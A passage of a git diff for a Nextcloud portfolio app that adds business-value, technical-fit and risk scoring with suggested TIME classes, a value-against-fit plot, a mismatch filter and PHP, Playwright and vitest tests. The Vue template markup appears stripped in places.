ShieldAlert, ShieldAlertOutline, ShieldCheckOutline, diff --git a/src/manifest.d/usages.json b/src/manifest.d/usages.json index c44c634f0..fac1de13e 100644 --- a/src/manifest.d/usages.json +++ b/src/manifest.d/usages.json @@ -41,17 +41,22 @@ "config": { "register": "@resolve:voorzieningen_register", "schema": "usage", - "_note": "A usage is read for what runs where and who owns it: data 8 wide (application, organisation, version, status, owners, phase dates, cloud model, annotation), documents 4 wide at the right (DPIA, contract, processing agreement), then the related panel. Status transitions come from the schema's x-openregister-lifecycle.", + "_note": "A usage is read for what runs where and who owns it (lifecycle-application-value-assessment added the value assessment section with the scores and the suggested TIME class, and the risk signals after it): data 8 wide (application, organisation, version, status, owners, phase dates, cloud model, annotation), documents 4 wide at the right (DPIA, contract, processing agreement), then the related panel. Status transitions come from the schema's x-openregister-lifecycle.", "lifecycleActions": { "field": "status" }, "widgets": [ - { "id": "gb-data", "type": "data", "title": "Application in use", "icon": "OfficeBuilding", "content": { "columns": 2, "include": [ "module", "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner", "startDateAcquisition", "startDatePlanned", "startDateInProduction", "startDateOutPhasing", "startDateOutPhased", "cloudDienstverleningsmodel", "timeClassification", "interneAnnotation" ] } }, + { "id": "gb-data", "type": "data", "title": "Application in use", "icon": "OfficeBuilding", "content": { "columns": 2, "include": [ "module", "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner", "startDateAcquisition", "startDatePlanned", "startDateInProduction", "startDateOutPhasing", "startDateOutPhased", "cloudDienstverleningsmodel", "interneAnnotation" ] } }, + { "id": "gb-assessment", "type": "data", "title": "Value assessment", "icon": "ScaleBalance", "content": { "columns": 2, "include": [ "businessValue", "technicalFit", "riskScore", "scoredOn", "timeClassification", "suggestedTimeClassification", "timeRationale", "timeReviewDate" ] } }, { "id": "gb-files", "type": "integration", "integrationId": "files", "title": "Documents", "icon": "FolderOutline" }, { "id": "gb-related", "type": "related", "title": "Connections and services", "icon": "LinkVariant" } ], "layout": [ { "id": "1", "widgetId": "gb-data", "gridX": 0, "gridY": 0, "gridWidth": 8, "gridHeight": 8 }, { "id": "2", "widgetId": "gb-files", "gridX": 8, "gridY": 0, "gridWidth": 4, "gridHeight": 4 }, - { "id": "3", "widgetId": "gb-related", "gridX": 8, "gridY": 4, "gridWidth": 4, "gridHeight": 4 } + { "id": "3", "widgetId": "gb-related", "gridX": 8, "gridY": 4, "gridWidth": 4, "gridHeight": 4 }, + { "id": "4", "widgetId": "gb-assessment", "gridX": 0, "gridY": 8, "gridWidth": 8, "gridHeight": 5 } + ], + "bodyWidgets": [ + { "id": "gb-risk-signals", "component": "UsageRiskSignals", "props": { "objectId": "@objectId" }, "placement": "after-data", "colSpan": 12 } ], "sidebar": { "enabled": true, diff --git a/src/utils/valueAssessment.js b/src/utils/valueAssessment.js new file mode 100644 index 000000000..b0ea6c3fc --- /dev/null +++ b/src/utils/valueAssessment.js @@ -0,0 +1,112 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * The value assessment of the applications an organisation uses: the risk + * signals next to the risk score, and the value against fit plot and the + * mismatch filter of the portfolio report. + * + * @spec openspec/specs/application-value-assessment/spec.md + */ +import { endOfSupportState } from './lifecyclePhase.js' +import { refId } from './maintenance.js' + +const MIN_RADIUS = 6 +const MAX_RADIUS = 22 +const SPREAD = 0.18 + +/** + * The risk signals of a usage: end of support of the version it runs and the + * number of vulnerabilities linked to its application. + * + * @param {object|null} version The moduleVersion the usage runs. + * @param {Array|null} vulnerabilities Vulnerabilities to count. + * @param {string} moduleId The application of the usage. + * @param {Date} [now] The current moment. + * @return {{endOfSupportPassed: boolean, endOfSupportDate: (string|null), withdrawn: boolean, vulnerabilityCount: number}} The signals. + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-002-the-usage-page-shows-the-risk-signals-next-to-the-risk-score + */ +export function riskSignals(version, vulnerabilities, moduleId, now = new Date()) { + const eol = endOfSupportState(version || {}, now) + const count = (Array.isArray(vulnerabilities) ? vulnerabilities : []).filter( + (vulnerability) => { + const data = vulnerability?.object || vulnerability || {} + const modules = Array.isArray(data.modules) ? data.modules : [] + return modules.some((module) => refId(module) === moduleId) + }, + ).length + return { + endOfSupportPassed: eol.passed, + endOfSupportDate: eol.endDate, + withdrawn: eol.withdrawn, + vulnerabilityCount: count, + } +} + +/** + * Whether a report row has both scores the plot needs. + * + * @param {object} row A portfolio report row. + * @return {boolean} True when value and fit are set. + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ +function isScored(row) { + return ( + Number.isInteger(row?.businessValue) && Number.isInteger(row?.technicalFit) + ) +} + +/** + * The points of the value against fit plot: one per scored usage, its radius + * by annualised cost (square root, so the area follows the cost), and a small + * offset for points that share a cell. + * + * @param {Array|null} rows Portfolio report rows. + * @return {{points: Array, notScored: number}} The points and the count of usages without both scores. + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ +export function valueFitPoints(rows) { + const list = Array.isArray(rows) ? rows : [] + const scored = list.filter(isScored) + const maxCost = Math.max( + 0, + ...scored.map((row) => Number(row.annualisedCost) || 0), + ) + const seen = {} + const points = scored.map((row) => { + const cost = Math.max(0, Number(row.annualisedCost) || 0) + const share = maxCost > 0 ? Math.sqrt(cost / maxCost) : 0 + const cell = `${row.technicalFit}:${row.businessValue}` + const index = seen[cell] || 0 + seen[cell] = index + 1 + const angle = index * 2.4 + return { + uuid: row.uuid, + label: row.moduleName, + fit: row.technicalFit, + value: row.businessValue, + cost, + radius: MIN_RADIUS + share * (MAX_RADIUS - MIN_RADIUS), + offset: + index === 0 + ? [0, 0] + : [Math.cos(angle) * SPREAD, Math.sin(angle) * SPREAD], + recorded: row.timeClassification || null, + suggested: row.suggestedTimeClassification || null, + } + }) + return { points, notScored: list.length - scored.length } +} + +/** + * The rows whose recorded TIME class differs from the class the scores suggest. + * + * @param {Array|null} rows Portfolio report rows. + * @return {Array} The mismatching rows. + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ +export function mismatchRows(rows) { + return (Array.isArray(rows) ? rows : []).filter( + (row) => row?.timeMismatch === true, + ) +} diff --git a/src/views/organisaties/PortfolioReport.vue b/src/views/organisaties/PortfolioReport.vue index e62e4636c..6482c4387 100644 --- a/src/views/organisaties/PortfolioReport.vue +++ b/src/views/organisaties/PortfolioReport.vue @@ -121,6 +121,14 @@ :height="260" /> + +
+

+ {{ t('stackiq', 'Business value against technical fit') }} +

+ +
+

@@ -176,6 +184,13 @@

{{ t('stackiq', 'Applications in use') }}

+ + {{ t('stackiq', 'Recorded class differs from scores') }} +

{{ t('stackiq', 'Application') }} + + {{ t('stackiq', 'Suggested by scores') }} + + + {{ t('stackiq', 'Value / fit / risk') }} + {{ t('stackiq', 'Rationale') }} @@ -220,6 +241,19 @@ :key="row.uuid" data-testid="pr-row"> {{ row.moduleName }} + + + {{ + quadrantLabel( + row.suggestedTimeClassification, + ) + }} + + — + + {{ scoresLabel(row) }} {{ row.timeRationale || '—' }} {{ row.timeReviewDate || '—' }} {{ row.lifecyclePhase }} @@ -262,6 +296,7 @@ import { translate as t } from '@nextcloud/l10n' import { generateUrl } from '@nextcloud/router' import { NcButton, + NcCheckboxRadioSwitch, NcEmptyContent, NcLoadingIcon, NcNoteCard, @@ -270,6 +305,7 @@ import { import ChartBoxOutline from 'vue-material-design-icons/ChartBoxOutline.vue' import Download from 'vue-material-design-icons/Download.vue' import Refresh from 'vue-material-design-icons/Refresh.vue' +import ValueFitPlot from '../../components/portfolio/ValueFitPlot.vue' import { useLiveCollections } from '../../composables/useLiveCollections.js' import { objectStore } from '../../store/store.js' import { resolveUuid } from '../../utils/lifecyclePhase.js' @@ -281,6 +317,7 @@ import { QUADRANT_ORDER, quadrantColor, } from '../../utils/portfolioReport.js' +import { mismatchRows } from '../../utils/valueAssessment.js' /** * @class PortfolioReport @@ -300,11 +337,13 @@ export default { name: 'PortfolioReport', components: { NcButton, + NcCheckboxRadioSwitch, NcLoadingIcon, NcSelect, NcEmptyContent, NcNoteCard, CnChartWidget, + ValueFitPlot, Refresh, Download, ChartBoxOutline, @@ -330,6 +369,7 @@ export default { error: null, selectedOrg: null, report: null, + onlyMismatch: false, } }, @@ -434,12 +474,14 @@ export default { * * @return {Array<{key: string, rows: Array}>} Grouped rows. * @spec openspec/changes/portfolio-rationalization-time/specs/portfolio-rationalization-time/spec.md#requirement-portfolio-rationalization-report-aggregates-per-organisation + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict */ groupedRows() { if (!this.report) { return [] } - return groupRowsByQuadrant(this.report.rows || []) + const rows = this.report.rows || [] + return groupRowsByQuadrant(this.onlyMismatch ? mismatchRows(rows) : rows) }, }, @@ -595,6 +637,25 @@ export default { return map[key] || key }, + /** + * The three scores of a row as "value / fit / risk", a dash for a missing one. + * + * @param {object} row A report row. + * @return {string} The label. + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ + scoresLabel(row) { + const scores = [row.businessValue, row.technicalFit, row.riskScore] + if (scores.every((score) => score === null || score === undefined)) { + return '—' + } + return scores + .map((score) => + score === null || score === undefined ? '-' : score, + ) + .join(' / ') + }, + // Exposed to the template as methods — thin re-exports of the pure // `portfolioReport.js` utils (vitest-covered), since Vue 2 Options // API templates cannot call a bare imported function directly. @@ -712,6 +773,15 @@ export default { color: var(--color-text-maxcontrast); } +.pr-mismatchFilter { + margin-bottom: 12px; +} + +.pr-mismatch { + font-weight: bold; + color: var(--color-warning-text); +} + .pr-loading { margin: 40px auto; display: block; diff --git a/tests/Unit/Service/PortfolioReportServiceTest.php b/tests/Unit/Service/PortfolioReportServiceTest.php index ae5cf7e9d..52577a415 100644 --- a/tests/Unit/Service/PortfolioReportServiceTest.php +++ b/tests/Unit/Service/PortfolioReportServiceTest.php @@ -476,4 +476,116 @@ function (array $query): array { $this->assertSame(5, $report['totalGebruiken']); $this->assertSame(1, $report['includedGebruiken']); }//end testBuildReportDisclosesTruncation() + /** + * A service over one page of gebruiken, with no relations to resolve. + * + * @param array> $usages The gebruik rows the search returns. + * + * @return PortfolioReportService + */ + private function serviceOver(array $usages): PortfolioReportService { + $objectService = $this->createMock(ObjectServiceInterface::class); + $objectService->method('searchObjectsPaginated')->willReturnCallback( + static function (array $query) use ($usages): array { + if (($query['@self']['schema'] ?? null) === 20) { + return ['results' => $usages, 'total' => count($usages)]; + } + return ['results' => [], 'total' => 0]; + } + ); + + $container = $this->createMock(ContainerInterface::class); + $container->method('get')->willReturn($objectService); + $appManager = $this->createMock(IAppManager::class); + $appManager->method('getInstalledApps')->willReturn(['openregister']); + $settingsService = $this->createMock(SettingsService::class); + $settingsService->method('getVoorzieningenConfig')->willReturn( + ['register' => '1', 'gebruik_schema' => '20', 'contract_schema' => '21', 'module_schema' => '22', 'moduleVersie_schema' => '23'] + ); + $config = $this->createMock(IAppConfig::class); + $config->method('getValueInt')->willReturn(500); + + $reflection = new ReflectionClass(PortfolioReportService::class); + $service = $reflection->newInstanceWithoutConstructor(); + foreach ( + [ + 'settingsService' => $settingsService, + 'appManager' => $appManager, + 'container' => $container, + 'logger' => $this->createMock(LoggerInterface::class), + 'config' => $config, + 'derivation' => new PortfolioReportDerivation(), + ] as $propertyName => $value + ) { + $property = $reflection->getProperty($propertyName); + $property->setAccessible(true); + $property->setValue($service, $value); + } + + return $service; + }//end serviceOver() + + /** + * The scored gebruiken of the value assessment. + * + * @return array> + */ + private function scoredUsages(): array { + return [ + ['id' => 'g-1', 'consumer' => 'org-a', 'timeClassification' => 'Tolerate', 'businessValue' => 1, 'technicalFit' => 2, 'riskScore' => 4, 'scoredOn' => '2026-09-01', 'suggestedTimeClassification' => 'Eliminate'], + ['id' => 'g-2', 'consumer' => 'org-a', 'timeClassification' => 'Invest', 'businessValue' => 5, 'technicalFit' => 4, 'riskScore' => 1, 'suggestedTimeClassification' => 'Invest'], + ['id' => 'g-3', 'consumer' => 'org-a', 'timeClassification' => 'Migrate', 'businessValue' => 5, 'technicalFit' => 2], + ['id' => 'g-4', 'consumer' => 'org-a', 'timeClassification' => 'Tolerate'], + ]; + }//end scoredUsages() + + /** + * Each row carries the scores, the suggested class and whether the recorded class differs from it. + * + * @return void + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ + public function testRowsCarryTheScoresAndTheMismatch(): void { + $rows = $this->serviceOver($this->scoredUsages())->buildReport('org-a')['rows']; + + $this->assertSame(1, $rows[0]['businessValue']); + $this->assertSame(2, $rows[0]['technicalFit']); + $this->assertSame(4, $rows[0]['riskScore']); + $this->assertSame('2026-09-01', $rows[0]['scoredOn']); + $this->assertSame('Eliminate', $rows[0]['suggestedTimeClassification']); + $this->assertTrue($rows[0]['timeMismatch']); + + $this->assertFalse($rows[1]['timeMismatch']); + + // No stored suggestion yet (saved before the calculation existed): the report derives it with the same rule. + $this->assertSame('Migrate', $rows[2]['suggestedTimeClassification']); + $this->assertFalse($rows[2]['timeMismatch']); + + // Not scored: no suggestion and no mismatch. + $this->assertNull($rows[3]['businessValue']); + $this->assertNull($rows[3]['suggestedTimeClassification']); + $this->assertFalse($rows[3]['timeMismatch']); + }//end testRowsCarryTheScoresAndTheMismatch() + + /** + * The CSV export writes the score and suggestion columns. + * + * @return void + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-003-the-portfolio-report-plots-value-against-fit-and-flags-classes-the-scores-contradict + */ + public function testTheCsvCarriesTheScoreColumns(): void { + $lines = array_map('str_getcsv', explode("\n", trim($this->serviceOver($this->scoredUsages())->buildCsv('org-a')))); + $header = $lines[0]; + foreach (['businessValue', 'technicalFit', 'riskScore', 'scoredOn', 'suggestedTimeClassification', 'timeMismatch'] as $column) { + $this->assertContains($column, $header); + } + + $first = array_combine($header, $lines[1]); + $this->assertSame('1', $first['businessValue']); + $this->assertSame('Eliminate', $first['suggestedTimeClassification']); + $this->assertSame('yes', $first['timeMismatch']); + $this->assertSame('', array_combine($header, $lines[4])['businessValue']); + }//end testTheCsvCarriesTheScoreColumns() }//end class diff --git a/tests/Unit/Settings/ValueAssessmentFragmentTest.php b/tests/Unit/Settings/ValueAssessmentFragmentTest.php new file mode 100644 index 000000000..c930d9507 --- /dev/null +++ b/tests/Unit/Settings/ValueAssessmentFragmentTest.php @@ -0,0 +1,242 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/application-value-assessment/spec.md#requirement-req-ava-001-an-organisation-scores-each-application-it-uses-on-value-fit-and-risk + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\PortfolioReportDerivation; +use OCA\Stackiq\Service\SettingsService; +use Opis\JsonSchema\Validator; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Merges register.d/value-assessment.json into the monolith with SettingsService's own merge. + * + * @coversNothing + */ +class ValueAssessmentFragmentTest extends TestCase { + + private const SCORES = ['businessValue', 'technicalFit', 'riskScore']; + + /** + * The usage schema after the fragment is merged in. + * + * @return array The schema. + */ + private function usageSchema(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $base = json_decode((string) file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $fragment = json_decode((string) file_get_contents($dir . '/register.d/value-assessment.json'), true); + $this->assertIsArray($fragment, 'register.d/value-assessment.json must exist and parse'); + + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $merged = $merge->invoke(null, $base, $fragment); + + return $merged['components']['schemas']['usage']; + }//end usageSchema() + + /** + * The declared expression of the suggested class. + * + * @return mixed The expression. + */ + private function expression(): mixed { + $calc = $this->usageSchema()['configuration']['x-openregister-calculations']['suggestedTimeClassification']; + return $calc['expression']; + }//end expression() + + /** + * Evaluate the operators the expression uses, with OpenRegister's semantics + * (CalculationEvaluator: gte is false on null, eq is loose, a bare scalar is a literal). + * + * @param mixed $node The expression node. + * @param array $data The usage data. + * + * @return mixed The value. + */ + private function evaluate(mixed $node, array $data): mixed { + if (is_array($node) === false) { + return $node; + } + + $op = (string) array_key_first($node); + $args = $node[$op]; + switch ($op) { + case 'prop': + return ($data[$args] ?? null); + case 'lit': + return $args; + case 'if': + if ($this->evaluate($args[0], $data) === true) { + return $this->evaluate($args[1], $data); + } + return $this->evaluate($args[2], $data); + case 'or': + foreach ($args as $arg) { + if ($this->evaluate($arg, $data) === true) { + return true; + } + } + return false; + case 'eq': + return $this->evaluate($args[0], $data) == $this->evaluate($args[1], $data); + case 'gte': + $a = $this->evaluate($args[0], $data); + $b = $this->evaluate($args[1], $data); + return $a !== null && $b !== null && $a >= $b; + } + + $this->fail('The expression uses an operator this test does not model: ' . $op); + }//end evaluate() + + /** + * The three scores run from 1 to 5, the date is a date, and none is required. + * + * @return void + */ + public function testTheScoresRunFromOneToFiveAndAreOptional(): void { + $schema = $this->usageSchema(); + foreach (self::SCORES as $field) { + $property = $schema['properties'][$field]; + $this->assertSame('integer', $property['type'], $field); + $this->assertSame(1, $property['minimum'], $field); + $this->assertSame(5, $property['maximum'], $field); + $this->assertNotEmpty($property['title'], $field); + } + + $this->assertSame('date', $schema['properties']['scoredOn']['format']); + $required = ($schema['required'] ?? []); + $this->assertSame([], array_values(array_intersect([...self::SCORES, 'scoredOn', 'suggestedTimeClassification'], $required))); + }//end testTheScoresRunFromOneToFiveAndAreOptional() + + /** + * The suggestion carries the TIME enum, is not on the form, and is a materialised calculation. + * + * @return void + */ + public function testTheSuggestionIsADeclaredMaterialisedCalculation(): void { + $schema = $this->usageSchema(); + $suggestion = $schema['properties']['suggestedTimeClassification']; + + $this->assertSame($schema['properties']['timeClassification']['enum'], $suggestion['enum']); + $this->assertTrue($suggestion['hideOnForm']); + + $calc = $schema['configuration']['x-openregister-calculations']['suggestedTimeClassification']; + $this->assertSame('string', $calc['type']); + $this->assertTrue($calc['materialise']); + $this->assertArrayNotHasKey('dependsOn', $calc); + + // The merge keeps the usage lifecycle next to the calculation. + $this->assertArrayHasKey('x-openregister-lifecycle', $schema['configuration']); + }//end testTheSuggestionIsADeclaredMaterialisedCalculation() + + /** + * The four mappings of the spec, and no suggestion while a score is missing. + * + * @return void + */ + public function testTheExpressionGivesTheFourClasses(): void { + $cases = [ + [5, 2, 'Migrate'], + [4, 4, 'Invest'], + [2, 5, 'Tolerate'], + [1, 2, 'Eliminate'], + [3, 3, 'Invest'], + [5, null, null], + [null, 4, null], + ]; + foreach ($cases as [$value, $fit, $expected]) { + $data = array_filter(['businessValue' => $value, 'technicalFit' => $fit], static fn ($v) => $v !== null); + $this->assertSame($expected, $this->evaluate($this->expression(), $data), json_encode($data)); + } + }//end testTheExpressionGivesTheFourClasses() + + /** + * The report's own rule agrees with the declared expression on every combination. + * + * @return void + */ + public function testTheReportRuleMatchesTheDeclaredExpression(): void { + $derivation = new PortfolioReportDerivation(); + foreach ([null, 1, 2, 3, 4, 5] as $value) { + foreach ([null, 1, 2, 3, 4, 5] as $fit) { + $data = array_filter(['businessValue' => $value, 'technicalFit' => $fit], static fn ($v) => $v !== null); + $this->assertSame( + $this->evaluate($this->expression(), $data), + $derivation->suggestTimeClassification(businessValue: $value, technicalFit: $fit), + json_encode($data) + ); + } + } + }//end testTheReportRuleMatchesTheDeclaredExpression() + + /** + * The schema version moves above the version before this change. + * + * @return void + */ + public function testTheSchemaVersionMovesUp(): void { + $this->assertTrue(version_compare($this->usageSchema()['version'], '1.5.2', '>')); + }//end testTheSchemaVersionMovesUp() + + /** + * The scored demo usages pass the merged schema and land in all four suggested classes, + * with one recorded class that differs from its suggestion. + * + * @return void + */ + public function testTheSeedsAreValidAndCoverTheFourClasses(): void { + $schema = $this->usageSchema(); + $mock = json_decode((string) file_get_contents(__DIR__ . '/../../../lib/Settings/stackiq_mock_register.json'), true); + $seeds = array_values( + array_filter( + $mock['components']['objects'], + static fn (array $o) => ($o['@self']['schema'] ?? '') === 'usage' && isset($o['businessValue']) === true + ) + ); + $this->assertGreaterThanOrEqual(4, count($seeds)); + + $fields = [...self::SCORES, 'scoredOn', 'suggestedTimeClassification', 'timeClassification']; + $shape = ['type' => 'object', 'properties' => array_intersect_key($schema['properties'], array_flip($fields))]; + foreach ($shape['properties'] as $name => $property) { + $shape['properties'][$name] = array_intersect_key($property, array_flip(['type', 'enum', 'minimum', 'maximum', 'format'])); + } + + $validator = new Validator(); + $suggested = []; + $mismatches = 0; + foreach ($seeds as $seed) { + $payload = array_intersect_key($seed, array_flip($fields)); + $result = $validator->validate(json_decode((string) json_encode($payload)), (string) json_encode($shape)); + $this->assertTrue($result->isValid(), $seed['@self']['slug']); + + $expected = $this->evaluate($this->expression(), $payload); + $this->assertSame($expected, $seed['suggestedTimeClassification'], $seed['@self']['slug']); + $suggested[$expected] = true; + if ($expected !== ($seed['timeClassification'] ?? null)) { + $mismatches++; + } + } + + ksort($suggested); + $this->assertSame(['Eliminate', 'Invest', 'Migrate', 'Tolerate'], array_keys($suggested)); + $this->assertGreaterThanOrEqual(1, $mismatches); + }//end testTheSeedsAreValidAndCoverTheFourClasses() +}//end class diff --git a/tests/e2e/workflows/portfolio-value.spec.ts b/tests/e2e/workflows/portfolio-value.spec.ts new file mode 100644 index 000000000..add7c408e --- /dev/null +++ b/tests/e2e/workflows/portfolio-value.spec.ts @@ -0,0 +1,135 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * Value assessment: scoring a usage on its page and finding the usages whose + * recorded TIME class differs from the class the scores suggest in the + * portfolio report. + * + * Seeds an organisation, three applications and three usages carrying this + * run's RUN_ID through the objects API (the call the edit form makes), and + * removes exactly those rows afterwards. The calculation, the report row and + * the CSV columns are covered by tests/Unit/Settings/ValueAssessmentFragmentTest.php + * and tests/Unit/Service/PortfolioReportServiceTest.php; the plot, the filter + * and the risk signals by tests/vitest/valueAssessment.spec.js. + * + * @spec openspec/specs/application-value-assessment/spec.md + */ +import type { APIRequestContext } from '@playwright/test' +import type { VoorzieningenConfig } from './_fixtures.ts' + +import { expect, test } from '@playwright/test' +import { + createObject, + deleteObject, + newApiContext, + resolveConfig, + RUN_ID, +} from './_fixtures.ts' +import { dismissSupportDialog, gotoAppRoute } from './_ui.ts' + +let apiCtx: APIRequestContext +let cfg: VoorzieningenConfig +const seeded: Array<[string, string]> = [] +const ids: Record = {} +const organisation = `${RUN_ID} municipality` +const appX = `${RUN_ID} application X` +const appY = `${RUN_ID} application Y` +const appZ = `${RUN_ID} application Z` + +/** + * Create a row and remember it for cleanup. + * + * @param schema The schema slug. + * @param data The object. + * @return The new id. + */ +async function seed(schema: string, data: Record): Promise { + const id = await createObject(apiCtx, cfg.register, schema, data) + seeded.push([schema, id]) + return id +} + +test.beforeAll(async () => { + apiCtx = await newApiContext() + cfg = await resolveConfig(apiCtx) + ids.org = await seed('organization', { name: organisation }) + ids.x = await seed('module', { name: appX }) + ids.y = await seed('module', { name: appY }) + ids.z = await seed('module', { name: appZ }) + ids.usageX = await seed('usage', { + consumer: ids.org, + module: ids.x, + status: 'In production', + timeClassification: 'Tolerate', + }) + ids.usageY = await seed('usage', { + consumer: ids.org, + module: ids.y, + status: 'In production', + timeClassification: 'Tolerate', + businessValue: 2, + technicalFit: 1, + scoredOn: '2026-09-01', + }) + ids.usageZ = await seed('usage', { + consumer: ids.org, + module: ids.z, + status: 'In production', + timeClassification: 'Invest', + businessValue: 5, + technicalFit: 4, + scoredOn: '2026-09-01', + }) +}) + +test.afterAll(async () => { + if (!apiCtx) return + for (const [schema, id] of seeded.reverse()) { + await deleteObject(apiCtx, cfg.register, schema, id) + } + await apiCtx.dispose() +}) + +// @e2e application-value-assessment::an-information-manager-scores-an-application +test('scoring value 5 and fit 2 suggests Migrate and keeps Tolerate recorded', async ({ + page, +}) => { + const res = await apiCtx.put( + `/index.php/apps/openregister/api/objects/${cfg.register}/usage/${ids.usageX}`, + { + data: { + consumer: ids.org, + module: ids.x, + status: 'In production', + timeClassification: 'Tolerate', + businessValue: 5, + technicalFit: 2, + scoredOn: '2026-09-30', + }, + }, + ) + expect(res.ok()).toBe(true) + await gotoAppRoute(page, `/gebruik/${ids.usageX}`) + await dismissSupportDialog(page) + await expect(page.getByText('Value assessment').first()).toBeVisible({ + timeout: 30000, + }) + await expect(page.getByText('Migrate').first()).toBeVisible() + await expect(page.getByText('Tolerate').first()).toBeVisible() +}) + +// @e2e application-value-assessment::finding-the-classes-to-revisit +test('the mismatch filter lists a usage whose scores contradict its class and leaves out one that agrees', async ({ + page, +}) => { + await gotoAppRoute(page, '/portfolio-report') + await dismissSupportDialog(page) + await page.getByLabel('Organisation').first().click() + await page.getByRole('option', { name: organisation }).first().click() + await expect(page.getByTestId('pr-value-fit')).toBeVisible({ timeout: 30000 }) + await page.getByTestId('pr-mismatch-filter').click() + const rows = page.getByTestId('pr-row') + await expect(rows.filter({ hasText: appY })).toBeVisible({ timeout: 30000 }) + await expect(rows.filter({ hasText: appY })).toContainText('Eliminate') + await expect(rows.filter({ hasText: appZ })).toHaveCount(0) +}) diff --git a/tests/vitest/valueAssessment.spec.js b/tests/vitest/valueAssessment.spec.js new file mode 100644 index 000000000..0cbbf50da --- /dev/null +++ b/tests/vitest/valueAssessment.spec.js @@ -0,0 +1,179 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * The value assessment: risk signals on the usage page (the version's end of + * support and the application's vulnerabilities), the value against fit plot + * and the mismatch filter of the portfolio report, and the page wiring. + * + * @spec openspec/specs/application-value-assessment/spec.md + */ +import * as fs from 'fs' +import * as path from 'path' +import { describe, expect, it } from 'vitest' +import { buildManifest } from '../../node_modules/@conduction/nextcloud-vue/src/utils/buildManifest.js' +import base from '../../src/manifest.json' +import menuLayout from '../../src/menu-layout.json' +import { + mismatchRows, + riskSignals, + valueFitPoints, +} from '../../src/utils/valueAssessment.js' + +const now = new Date('2026-10-01T09:00:00Z') + +describe('riskSignals', () => { + it('shows end of support passed and two vulnerabilities of the application', () => { + const version = { dateEndSupport: '2026-06-30' } + const vulnerabilities = [ + { id: 'v1', modules: ['app-x'] }, + { id: 'v2', modules: [{ id: 'app-x' }, 'app-y'] }, + { id: 'v3', modules: ['app-y'] }, + ] + expect(riskSignals(version, vulnerabilities, 'app-x', now)).toEqual({ + endOfSupportPassed: true, + endOfSupportDate: '2026-06-30', + withdrawn: false, + vulnerabilityCount: 2, + }) + }) + + it('reads a version that is still supported and an application without vulnerabilities', () => { + const signals = riskSignals( + { object: { dateEndSupport: '2027-12-31' } }, + [], + 'app-x', + now, + ) + expect(signals.endOfSupportPassed).toBe(false) + expect(signals.vulnerabilityCount).toBe(0) + }) + + it('does not throw without a version', () => { + expect(riskSignals(null, null, 'app-x', now)).toEqual({ + endOfSupportPassed: false, + endOfSupportDate: null, + withdrawn: false, + vulnerabilityCount: 0, + }) + }) +}) + +const rows = [ + { + uuid: 'a', + moduleName: 'A', + businessValue: 1, + technicalFit: 2, + annualisedCost: 1000, + timeClassification: 'Tolerate', + suggestedTimeClassification: 'Eliminate', + timeMismatch: true, + }, + { + uuid: 'b', + moduleName: 'B', + businessValue: 5, + technicalFit: 4, + annualisedCost: 50000, + timeClassification: 'Invest', + suggestedTimeClassification: 'Invest', + timeMismatch: false, + }, + { + uuid: 'c', + moduleName: 'C', + businessValue: 4, + technicalFit: 4, + annualisedCost: 0, + timeClassification: null, + suggestedTimeClassification: 'Invest', + timeMismatch: false, + }, + { + uuid: 'd', + moduleName: 'D', + businessValue: null, + technicalFit: 3, + annualisedCost: 200, + timeClassification: 'Tolerate', + suggestedTimeClassification: null, + timeMismatch: false, + }, +] + +describe('valueFitPoints', () => { + it('gives one point per scored usage and counts the rest as not scored', () => { + const { points, notScored } = valueFitPoints(rows) + expect(points.map((p) => p.uuid)).toEqual(['a', 'b', 'c']) + expect(notScored).toBe(1) + expect(points[0]).toMatchObject({ fit: 2, value: 1, label: 'A' }) + }) + + it('sizes the points by annualised cost, largest cost largest point', () => { + const { points } = valueFitPoints(rows) + const radius = Object.fromEntries(points.map((p) => [p.uuid, p.radius])) + expect(radius.b).toBeGreaterThan(radius.a) + expect(radius.a).toBeGreaterThan(radius.c) + expect(radius.c).toBeGreaterThan(0) + }) + + it('spreads points that share a cell so each stays visible', () => { + const { points } = valueFitPoints([ + { uuid: 'x', businessValue: 3, technicalFit: 3, annualisedCost: 0 }, + { uuid: 'y', businessValue: 3, technicalFit: 3, annualisedCost: 0 }, + ]) + expect(points[0].offset).not.toEqual(points[1].offset) + }) +}) + +describe('mismatchRows', () => { + it('keeps only the usages whose recorded class differs from the scores', () => { + expect(mismatchRows(rows).map((r) => r.uuid)).toEqual(['a']) + expect(mismatchRows(null)).toEqual([]) + }) +}) + +describe('the usage page', () => { + const dir = path.resolve(__dirname, '../../src/manifest.d') + const merged = buildManifest( + base, + fs + .readdirSync(dir) + .filter((f) => f.endsWith('.json')) + .sort() + .map((f) => 